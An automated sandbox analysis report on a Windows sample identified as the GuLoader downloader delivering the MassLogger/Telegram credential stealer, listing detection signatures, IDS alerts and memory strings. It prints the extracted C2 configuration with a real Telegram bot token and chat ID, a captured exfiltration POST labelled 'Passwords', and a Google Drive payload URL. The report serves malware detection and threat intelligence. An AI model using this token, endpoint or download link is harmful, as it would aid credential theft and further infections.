Edit tour

Windows Analysis Report
rXKfKM0T49.exe

Overview

General Information

Sample name:	rXKfKM0T49.exe renamed because original name is a hash value
Original sample name:	28d6a2e755f646875e1ed22b6e8443e074e2fa7730d4f202ffe21c48db789fad.exe
Analysis ID:	1588260
MD5:	948a8f01fca4eecddbcb1c20b26a0a53
SHA1:	f1254c7c3a1051c4624072c07f725aa62ff4a316
SHA256:	28d6a2e755f646875e1ed22b6e8443e074e2fa7730d4f202ffe21c48db789fad
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

rXKfKM0T49.exe (PID: 5380 cmdline: "C:\Users\user\Desktop\rXKfKM0T49.exe" MD5: 948A8F01FCA4EECDDBCB1C20B26A0A53)

rXKfKM0T49.exe (PID: 1072 cmdline: "C:\Users\user\Desktop\rXKfKM0T49.exe" MD5: 948A8F01FCA4EECDDBCB1C20B26A0A53)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1814401893.0000000003E6F000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000003.00000002.2624047215.00000000022BF000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: rXKfKM0T49.exe PID: 1072	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: rXKfKM0T49.exe PID: 1072	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: rXKfKM0T49.exe PID: 1072	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 3 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:12:00.281914+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49977	149.154.167.220	443	TCP
2025-01-10T23:12:02.042849+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49979	149.154.167.220	443	TCP
2025-01-10T23:12:03.589477+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49981	149.154.167.220	443	TCP
2025-01-10T23:12:05.263746+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49983	149.154.167.220	443	TCP
2025-01-10T23:12:06.806211+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49985	149.154.167.220	443	TCP
2025-01-10T23:12:08.373482+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49987	149.154.167.220	443	TCP
2025-01-10T23:12:09.991034+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49989	149.154.167.220	443	TCP
2025-01-10T23:12:11.627973+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49992	149.154.167.220	443	TCP
2025-01-10T23:12:13.282728+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49994	149.154.167.220	443	TCP
2025-01-10T23:12:14.861651+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49996	149.154.167.220	443	TCP
2025-01-10T23:12:17.130510+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49998	149.154.167.220	443	TCP
2025-01-10T23:12:18.755647+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50000	149.154.167.220	443	TCP
2025-01-10T23:12:20.282175+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50002	149.154.167.220	443	TCP
2025-01-10T23:12:21.929004+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50004	149.154.167.220	443	TCP
2025-01-10T23:12:23.510404+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50006	149.154.167.220	443	TCP
2025-01-10T23:12:26.221835+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50008	149.154.167.220	443	TCP
2025-01-10T23:12:27.866639+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50010	149.154.167.220	443	TCP
2025-01-10T23:12:29.438612+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50012	149.154.167.220	443	TCP
2025-01-10T23:12:30.991536+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T23:12:32.714699+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50016	149.154.167.220	443	TCP
2025-01-10T23:12:34.305790+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50018	149.154.167.220	443	TCP
2025-01-10T23:12:35.900793+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50020	149.154.167.220	443	TCP
2025-01-10T23:12:37.515075+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T23:12:39.041100+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50024	149.154.167.220	443	TCP
2025-01-10T23:12:40.813386+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T23:12:42.356372+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T23:12:43.983727+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T23:12:45.635718+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T23:12:47.246674+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T23:12:48.883420+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T23:12:50.406858+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T23:12:52.085861+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T23:12:53.725174+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T23:12:55.278857+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50044	149.154.167.220	443	TCP
2025-01-10T23:12:56.980269+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50046	149.154.167.220	443	TCP
2025-01-10T23:13:01.679383+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50048	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:11:52.664493+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49975	132.226.247.73	80	TCP
2025-01-10T23:11:59.398915+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49975	132.226.247.73	80	TCP
2025-01-10T23:12:01.242641+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49978	132.226.247.73	80	TCP
2025-01-10T23:12:02.789544+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49980	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:11:47.560964+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49972	216.58.206.46	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:12:00.055572+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49977	149.154.167.220	443	TCP
2025-01-10T23:12:01.813771+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49979	149.154.167.220	443	TCP
2025-01-10T23:12:03.365561+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49981	149.154.167.220	443	TCP
2025-01-10T23:12:04.932807+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49983	149.154.167.220	443	TCP
2025-01-10T23:12:06.599379+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49985	149.154.167.220	443	TCP
2025-01-10T23:12:08.162259+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49987	149.154.167.220	443	TCP
2025-01-10T23:12:09.776645+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49989	149.154.167.220	443	TCP
2025-01-10T23:12:11.295791+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49992	149.154.167.220	443	TCP
2025-01-10T23:12:12.996532+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49994	149.154.167.220	443	TCP
2025-01-10T23:12:14.599622+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49996	149.154.167.220	443	TCP
2025-01-10T23:12:16.206189+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49998	149.154.167.220	443	TCP
2025-01-10T23:12:18.465680+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50000	149.154.167.220	443	TCP
2025-01-10T23:12:20.069772+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50002	149.154.167.220	443	TCP
2025-01-10T23:12:21.674756+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50004	149.154.167.220	443	TCP
2025-01-10T23:12:23.301443+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50006	149.154.167.220	443	TCP
2025-01-10T23:12:25.862990+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50008	149.154.167.220	443	TCP
2025-01-10T23:12:27.550625+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50010	149.154.167.220	443	TCP
2025-01-10T23:12:29.219177+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50012	149.154.167.220	443	TCP
2025-01-10T23:12:30.766263+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T23:12:32.422148+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50016	149.154.167.220	443	TCP
2025-01-10T23:12:34.024915+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50018	149.154.167.220	443	TCP
2025-01-10T23:12:35.619872+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50020	149.154.167.220	443	TCP
2025-01-10T23:12:37.213771+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T23:12:38.823917+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50024	149.154.167.220	443	TCP
2025-01-10T23:12:40.369055+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T23:12:42.142601+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T23:12:43.684809+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T23:12:45.322823+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T23:12:46.956393+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T23:12:48.591683+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T23:12:50.197296+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T23:12:51.750955+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T23:12:53.422065+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T23:12:55.063104+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50044	149.154.167.220	443	TCP
2025-01-10T23:12:56.595449+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50046	149.154.167.220	443	TCP
2025-01-10T23:13:01.340423+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50048	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3199e441f6dbHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359C8000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035B71000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035AE6000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003596B000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003592A000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndn
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359C8000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035B71000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035AE6000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003596B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359C8000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035761000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035B71000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035AE6000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003596B000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003592A000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: rXKfKM0T49.exe, 00000003.00000003.2543321683.000000003795A000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035761000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.2543443551.000000003796F000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.2543377009.0000000037966000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2652880630.0000000037970000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2652751843.000000003793F000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.2543260103.0000000037946000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: rXKfKM0T49.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359C8000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035B71000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000358FF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035AE6000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003596B000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003583C000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035827000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.000000003592A000.00000004.00000800.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.00000000359B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgL
Source: rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: rXKfKM0T49.exe, 00000003.00000002.2628850496.0000000005200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: rXKfKM0T49.exe, 00000003.00000002.2629258002.0000000006CA0000.00000004.00001000.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2628850496.0000000005243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh
Source: rXKfKM0T49.exe, 00000003.00000002.2628850496.0000000005243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYhy
Source: rXKfKM0T49.exe, 00000003.00000003.1959880913.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000002.2628850496.000000000527B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: rXKfKM0T49.exe, 00000003.00000003.1959880913.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/#&
Source: rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1959880913.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh&export=download
Source: rXKfKM0T49.exe, 00000003.00000003.1959880913.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh&export=download?
Source: rXKfKM0T49.exe, 00000003.00000002.2628850496.0000000005243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh&export=downloadf
Source: rXKfKM0T49.exe, 00000003.00000002.2628850496.0000000005243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh&export=downloadh
Source: rXKfKM0T49.exe, 00000003.00000003.1959880913.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh&export=downloadid
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: rXKfKM0T49.exe, 00000003.00000002.2649955801.0000000035791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189ec
Source: rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: rXKfKM0T49.exe, 00000003.00000003.1922928431.0000000005282000.00000004.00000020.00020000.00000000.sdmp, rXKfKM0T49.exe, 00000003.00000003.1922862011.0000000005282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
